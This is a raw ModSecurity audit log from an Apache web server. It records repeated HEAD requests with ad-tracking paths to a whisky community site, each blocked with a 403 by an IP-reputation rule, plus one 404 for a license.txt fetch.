[13/Sep/2026:07:37:26.146022 +0300] aqYohisVWymXUono-eRRZgAAAAA 151.243.174.180 60442 127.0.0.1 7081
--49a1d979-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.180
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--49a1d979-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--49a1d979-E--

--49a1d979-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274246132903 13162 (- - -)
Stopwatch2: 1789274246132903 13162; combined=7347, p1=278, p2=6676, p3=87, p4=18, p5=287, sr=115, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--49a1d979-Z--

--27d08958-A--
[13/Sep/2026:07:37:26.488097 +0300] aqYohmM7dE9KgIIOpQhi4QAAANA 95.134.102.147 60456 127.0.0.1 7081
--27d08958-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--27d08958-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--27d08958-E--

--27d08958-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274246482519 5622 (- - -)
Stopwatch2: 1789274246482519 5622; combined=4123, p1=321, p2=3403, p3=68, p4=7, p5=324, sr=114, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--27d08958-Z--

--c8265b42-A--
[13/Sep/2026:07:38:01.859026 +0300] aqYoqWM7dE9KgIIOpQhi5QAAAMk 151.243.174.142 57052 127.0.0.1 7081
--c8265b42-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--c8265b42-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c8265b42-E--

--c8265b42-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274281850146 8939 (- - -)
Stopwatch2: 1789274281850146 8939; combined=6876, p1=292, p2=5999, p3=82, p4=9, p5=494, sr=142, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c8265b42-Z--

--d2eca858-A--
[13/Sep/2026:07:38:02.242815 +0300] aqYoqmM7dE9KgIIOpQhi5gAAAMc 151.243.174.123 57054 127.0.0.1 7081
--d2eca858-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.123
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--d2eca858-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d2eca858-E--

--d2eca858-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274282235000 7866 (- - -)
Stopwatch2: 1789274282235000 7866; combined=5801, p1=300, p2=5032, p3=90, p4=10, p5=368, sr=137, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d2eca858-Z--

--e4bec70c-A--
[13/Sep/2026:07:38:02.674713 +0300] aqYoqmM7dE9KgIIOpQhi5wAAAMM 95.134.102.190 57058 127.0.0.1 7081
--e4bec70c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.190
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e4bec70c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e4bec70c-E--

--e4bec70c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274282667515 7254 (- - -)
Stopwatch2: 1789274282667515 7254; combined=5462, p1=454, p2=4544, p3=76, p4=9, p5=378, sr=177, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e4bec70c-Z--

--25347864-A--
[13/Sep/2026:07:38:40.030352 +0300] aqYo0Ewu1RSkptiiNIXwOgAAAJE 209.101.128.161 33966 127.0.0.1 7081
--25347864-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.161
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--25347864-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--25347864-E--

--25347864-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274320010791 19667 (- - -)
Stopwatch2: 1789274320010791 19667; combined=14636, p1=490, p2=13235, p3=124, p4=14, p5=772, sr=196, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--25347864-Z--

--2936cf5d-A--
[13/Sep/2026:07:38:40.365460 +0300] aqYo0Ewu1RSkptiiNIXwOwAAAIg 209.101.128.249 33974 127.0.0.1 7081
--2936cf5d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.249
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--2936cf5d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2936cf5d-E--

--2936cf5d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274320346547 18997 (- - -)
Stopwatch2: 1789274320346547 18997; combined=8636, p1=2597, p2=5455, p3=189, p4=10, p5=381, sr=279, sw=4, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2936cf5d-Z--

--45d4e64c-A--
[13/Sep/2026:07:38:40.726725 +0300] aqYo0Ewu1RSkptiiNIXwPAAAAIw 209.101.128.87 33984 127.0.0.1 7081
--45d4e64c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 209.101.128.87
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--45d4e64c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--45d4e64c-E--

--45d4e64c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274320720975 5794 (- - -)
Stopwatch2: 1789274320720975 5794; combined=4266, p1=241, p2=3672, p3=68, p4=7, p5=278, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--45d4e64c-Z--

--6c723702-A--
[13/Sep/2026:07:39:01.706184 +0300] aqYo5SsVWymXUono-eRRcgAAAAE 45.91.4.197 58064 127.0.0.1 7081
--6c723702-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 45.91.4.197
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--6c723702-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6c723702-E--

--6c723702-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274341693361 12871 (- - -)
Stopwatch2: 1789274341693361 12871; combined=10719, p1=367, p2=9828, p3=132, p4=14, p5=377, sr=182, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6c723702-Z--

--3c62e44f-A--
[13/Sep/2026:07:39:51.076698 +0300] aqYpFzTJ6xTvcJoem7f2sQAAAEc 151.243.174.110 57684 127.0.0.1 7081
--3c62e44f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.110
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--3c62e44f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3c62e44f-E--

--3c62e44f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274391068270 8486 (- - -)
Stopwatch2: 1789274391068270 8486; combined=6384, p1=313, p2=5583, p3=111, p4=9, p5=368, sr=116, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3c62e44f-Z--

--84e5547c-A--
[13/Sep/2026:07:39:51.188679 +0300] aqYpFysVWymXUono-eRRdAAAAAI 151.243.174.110 57692 127.0.0.1 7081
--84e5547c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.110
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--84e5547c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--84e5547c-E--

--84e5547c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274391181700 7026 (- - -)
Stopwatch2: 1789274391181700 7026; combined=5354, p1=241, p2=4662, p3=75, p4=15, p5=361, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--84e5547c-Z--

--b280f153-A--
[13/Sep/2026:07:39:51.544604 +0300] aqYpF0wu1RSkptiiNIXwQAAAAJc 95.134.102.141 57698 127.0.0.1 7081
--b280f153-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.141
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--b280f153-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b280f153-E--

--b280f153-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274391537964 6714 (- - -)
Stopwatch2: 1789274391537964 6714; combined=4680, p1=269, p2=4079, p3=69, p4=8, p5=255, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b280f153-Z--

--0f3c471a-A--
[13/Sep/2026:07:40:24.090403 +0300] aqYpOGM7dE9KgIIOpQhi-QAAAMY 91.124.31.100 35422 127.0.0.1 7081
--0f3c471a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.100
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--0f3c471a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--0f3c471a-E--

--0f3c471a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274424080300 10146 (- - -)
Stopwatch2: 1789274424080300 10146; combined=7204, p1=1444, p2=5365, p3=84, p4=8, p5=303, sr=679, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0f3c471a-Z--

--128fc050-A--
[13/Sep/2026:07:40:24.382981 +0300] aqYpOGM7dE9KgIIOpQhi-gAAAMc 46.203.158.96 35434 127.0.0.1 7081
--128fc050-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.96
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--128fc050-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--128fc050-E--

--128fc050-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274424377499 5522 (- - -)
Stopwatch2: 1789274424377499 5522; combined=4108, p1=255, p2=3511, p3=70, p4=7, p5=265, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--128fc050-Z--

--7d805c2f-A--
[13/Sep/2026:07:40:24.691807 +0300] aqYpOGM7dE9KgIIOpQhi-wAAAMM 91.124.31.113 35446 127.0.0.1 7081
--7d805c2f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.113
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--7d805c2f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7d805c2f-E--

--7d805c2f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274424685106 6742 (- - -)
Stopwatch2: 1789274424685106 6742; combined=5195, p1=939, p2=3852, p3=62, p4=5, p5=337, sr=131, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7d805c2f-Z--

--69ed9e44-A--
[13/Sep/2026:07:41:07.523727 +0300] aqYpY0wu1RSkptiiNIXwRwAAAJE 91.124.31.226 47230 127.0.0.1 7081
--69ed9e44-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.226
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--69ed9e44-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--69ed9e44-E--

--69ed9e44-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274467514469 9302 (- - -)
Stopwatch2: 1789274467514469 9302; combined=5455, p1=306, p2=4789, p3=67, p4=7, p5=286, sr=111, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--69ed9e44-Z--

--94868a00-A--
[13/Sep/2026:07:41:07.814926 +0300] aqYpY2M7dE9KgIIOpQhjAwAAAMI 46.203.158.48 47236 127.0.0.1 7081
--94868a00-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.48
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--94868a00-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--94868a00-E--

--94868a00-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274467799584 15386 (- - -)
Stopwatch2: 1789274467799584 15386; combined=22282, p1=876, p2=3968, p3=68, p4=6, p5=8829, sr=113, sw=0, l=0, gc=8535
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--94868a00-Z--

--333d5038-A--
[13/Sep/2026:07:41:08.083381 +0300] aqYpZEwu1RSkptiiNIXwSAAAAIg 46.203.158.252 47242 127.0.0.1 7081
--333d5038-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.252
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--333d5038-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--333d5038-E--

--333d5038-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274468077566 5855 (- - -)
Stopwatch2: 1789274468077566 5855; combined=4332, p1=210, p2=3785, p3=71, p4=6, p5=260, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--333d5038-Z--

--6e199037-A--
[13/Sep/2026:07:41:22.763493 +0300] aqYpcisVWymXUono-eRRdwAAAAk 188.166.231.242 43562 127.0.0.1 7081
--6e199037-B--
GET /license.txt HTTP/1.1
Host: breveleyendatequila.com
X-Real-IP: 188.166.231.242
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.27.1

--6e199037-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--6e199037-E--

--6e199037-Z--

--c91fea28-A--
[13/Sep/2026:07:42:01.714009 +0300] aqYpmUwu1RSkptiiNIXwTAAAAJQ 95.134.102.223 57904 127.0.0.1 7081
--c91fea28-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.223
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--c91fea28-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c91fea28-E--

--c91fea28-H--
